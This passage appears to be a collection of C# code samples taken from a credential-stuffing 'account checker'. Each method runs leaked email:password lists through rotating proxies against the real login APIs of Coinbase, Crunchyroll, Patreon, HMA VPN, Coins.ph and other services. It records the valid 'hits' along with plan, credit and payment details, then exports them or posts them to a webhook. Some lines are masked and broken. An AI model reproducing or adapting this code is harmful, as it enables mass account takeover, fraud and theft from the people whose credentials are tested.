                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Coinbase/7.30.9 (com.vilcsak.bitcoin2; build:11666; iOS 13.6.0) Alamofire/4.9.1";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str =
                                "client_id=6011662b0badfa97f9fed5a246526277ff2116affa98cfaacacd012a191ba38d&password="******"&redirect_uri=2_legged&scope=all&username="******"https://api.coinbase.com/oauth/authorize/with-credentials", str,
                                                       "application/x-www-form-urlencoded; charset=utf-8").ToString();
                            {
                                if (strResponse.Contains("success\":false"))
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                }
                                else if (strResponse.Contains("200"))
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                }
                                else if (strResponse.Contains("success\":true"))
                                {
                                    Program.Hits++;
                                    Export.AsResult("/Coinbase_hits", array[0] + ":" + array[1]);
                                    Program.TotalChecks++;
                                    req.Dispose();
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Coinbase", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Coinbase Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #23
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req.Post("https://prod-api.viewlift.com/identity/signin?site=aha-tv",
                                                 string.Concat("{\"email\":\"", array[0], "\",\"password\":\"", array[1], "\"}"),
                                                 "application/json").ToString();
                            var flag7 = text2.Contains("\"isSubscribed\":true") ||
                                        text2.Contains("\"DEVICE_LIMIT_EXCEEDED\"");

                            if (flag7)
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Aha.com_hits", array[0] + ":" + array[1]);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Aha", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Aha Hits");
                                }
                            }
                            else
                            {
                                var flag8 = text2.Contains("\"isSubscribed\":false");
                                if (flag8)
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Aha", array[0] + ":" + array[1]);
                                    }
                                    Export.AsResult("/Aha.com_Frees", array[0] + ":" + array[1]);
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #24
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Linux; Android 5.1.1; SM-N950N Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            req.AddHeader("Accept", "application/json, text/plain, */*");
                            var post = "{\"username\":\"" + array[0] + "\",\"password\":\"" + array[1] +
                                       "\",\"region\":\"ph\"}";
                            var text2 = req.Post("https://api.coins.asia/v5/jwt/login", post,
                                                 "application/json;charset=UTF-8").ToString();
                            var flag7 = text2.Contains("{\"token\":\"") || text2.Contains("csrftoken");

                            if (flag7)
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Coins.ph", array[0] + ":" + array[1]);
                                }
                                Export.AsResult("/Coins.ph_hits", array[0] + ":" + array[1]);
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "Coins.ph Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #25
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent                       = "Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)";
                            req.IgnoreProtocolErrors            = true;
                            req.KeepAlive                       = true;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var text2 = req.Post("https://api.crunchyroll.com/start_session.0.json",
                                                 "device_type=com.crunchyroll.windows.desktop&device_id=<guid>&access_token=LNDJgOit5yaRIWN",
                                                 "application/x-www-form-urlencoded").ToString();
                            var sessionid = Regex.Match(text2, "\"session_id\":\"(.*?)\"").Groups[1].Value;
                            var text3     = req.Post("https://api.crunchyroll.com/login.0.json",
                                                     "account=" + array[0] + "&password="******"&session_id=" + sessionid +
                                                     "&locale=enUS&version=1.3.1.0&connectivity_type=wifi",
                                                     "application/x-www-form-urlencoded").ToString();
                            var flag12 = text3.Contains("premium\":\"\",\"");
                            if (flag12)
                            {
                                Program.Frees++;
                                Program.TotalChecks++;
                                Export.AsResult("/Crunchyroll_frees", array[0] + ":" + array[1]);
                            }
                            else
                            {
                                var flag9 = text3.Contains("Incorrect login information");
                                if (flag9)
                                {
                                    Program.TotalChecks++;
                                    Program.Fails++;
                                }

                                var flag7 = text3.Contains("premium\":\"");
                                if (flag7)
                                {
                                    var Plan   = Parse(text3, "premium\":\"", "\",\"");
                                    var Expiry = Parse(text3, "expires\":\"", "T");
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Crunchyroll_hits",
                                                    array[0] + ":" + array[1] + " | Expiry: " + Expiry + " | Plan: " + Plan);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Crunchyroll", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(
                                            array[0] + ":" + array[1] + " | Expiry: " + Expiry + " | Plan: " + Plan,
                                            "Crunchyroll Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #26
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            req.AddHeader("origin", "https://www.xcams.com");
                            req.AddHeader("referer", "https://www.xcams.com/1/?_locale=en");
                            req.AddHeader("sec-fetch-dest", "empty");
                            req.AddHeader("sec-fetch-mode", "cors");
                            req.AddHeader("ec-fetch-site", "same-origin");
                            req.AddHeader("x-requested-with", "XMLHttpRequest");
                            var str = "username="******"&password="******"https://www.xcams.com/secure/login.do", str,
                                                       "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("success\":false") ||
                                    strResponse.Contains("Invalid email\\/password combination"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("200"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("success\":true"))
                                {
                                    var cap     = req.Get("https://www.xcams.com/1/").ToString();
                                    var credits = Parse(cap, "<span class='header__credits-number js-number-credits'>",
                                                        "</span>");
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Xcams_hits",
                                                    array[0] + ":" + array[1] + " | Credits: " + credits);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Xcams",
                                                          array[0] + ":" + array[1] + " | Credits: " + credits);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Credits: " + credits,
                                                                "Xcams Hits");
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #27
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            req.AddHeader("cookie",
                                          "patreon_locale_code=en-US; patreon_location_country_code=US; __cfduid=d4a78ee5214179435b57491f8fbb4b2211600999720; patreon_device_id=73c88a40-faa8-44d6-964b-78de1aae8962; __cf_bm=4ddce7d1c141a2853984692ea2f33aa65da351b6-1600999720-1800-AcP/65P8WHWVAZaBQ80wx/R0B09Z4yqZhNtQF9yFCRGm/yePclYrpR3By2+loXxQdOKbgS1eyV5YWfNF7I1EAfQ=; CREATOR_DEMO_COOKIE=1; G_ENABLED_IDPS=google");
                            var str = "{\"data\":{\"type\":\"user\",\"attributes\":{\"email\":\"" + array[0] +
                                      "\",\"password\":\"" + array[1] + "\"},\"relationships\":{}}}";
                            req.AddHeader("x-csrf-signature", "Sg3rMb1o922PEstPb4LXzHqPygE3MIdMhX762CZ3S2g");
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse =
                                req.Post(
                                    "https://www.patreon.com/api/login?include=campaign%2Cuser_location&json-api-version=1.0",
                                    str, "application/json").ToString();
                            {
                                if (strResponse.Contains("Incorrect email or password"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("Device Verification"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Patreon_frees", array[0] + ":" + array[1]);
                                }
                                else if (strResponse.Contains("attributes"))
                                {
                                    var cap     = req.Get("https://www.patreon.com/pledges?ty=p").ToString();
                                    var payment = Parse(cap, "payout_method\": \"", "\"");
                                    if (cap.Contains("UNDEFINED"))
                                    {
                                        Program.Frees++;
                                        Program.TotalChecks++;
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintFree("Patreon", array[0] + ":" + array[1]);
                                        }
                                        Export.AsResult("/Patreon_frees",
                                                        array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                    }
                                    else
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Patreon_hits",
                                                        array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Patreon",
                                                              array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(
                                                array[0] + ":" + array[1] + " | Payment Method: " + payment,
                                                "Patreon Hits");
                                        }
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #28
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            req.AddHeader("Accept", "application/json, text/plain, */*");
                            req.AddHeader("x-consumer-key", "DA59dtVXYLxajktV");
                            var post  = "{\"username\":\"" + array[0] + "\",\"password\":\"" + array[1] + "\"}";
                            var text2 = req.Post("https://www.dcuniverse.com/api/users/login", post,
                                                 "application/json;charset=UTF-8").ToString();
                            var flag7 = text2.Contains("\"user_guid\": ");

                            if (flag7)
                            {
                                Program.Hits++;
                                Program.TotalChecks++;
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("DC Universe", array[0] + ":" + array[1]);
                                }
                                Export.AsResult("/Dcuniverse_hits", array[0] + ":" + array[1]);
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1], "DC Universe Hits");
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #29
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "Dalvik/2.1.0 (Linux; U; Android 7.0; SM-G950F Build/NRD90M)";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "username="******"&password="******"https://mobile.api.hmageo.com/clapi/v1.5/user/login", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            if (text2.Contains("Invalid username/password combination"))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else if (text2.Contains("{\"status\":0,\"data\":{\"user\":\""))
                            {
                                var text3 = Parse(text2, "\"plan\":\"", "\"");
                                var text4 = Parse(text2, "\"expires\":\"", "\"");
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Hma_hits", array[0] + ":" + array[1] + " | Plan: " + text3);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Hma", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Plan: " + text3,
                                                            "Hma Hits");
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
Beispiel #30
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "AdF.ly/1.0.6 (iPhone; iOS 13.5.1; Scale/2.00)";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "password="******"&username="******"http://api.ay.gy/v1/auth", str,
                                                       "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("code\":21"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("code\":24"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Adfly_Frees", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("Adfly Free", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Adfly Free");
                                    }
                                }
                                else if (strResponse.Contains("secret_key"))
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Adfly_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Adfly", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Adfly");
                                    }
                                }
                                else
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }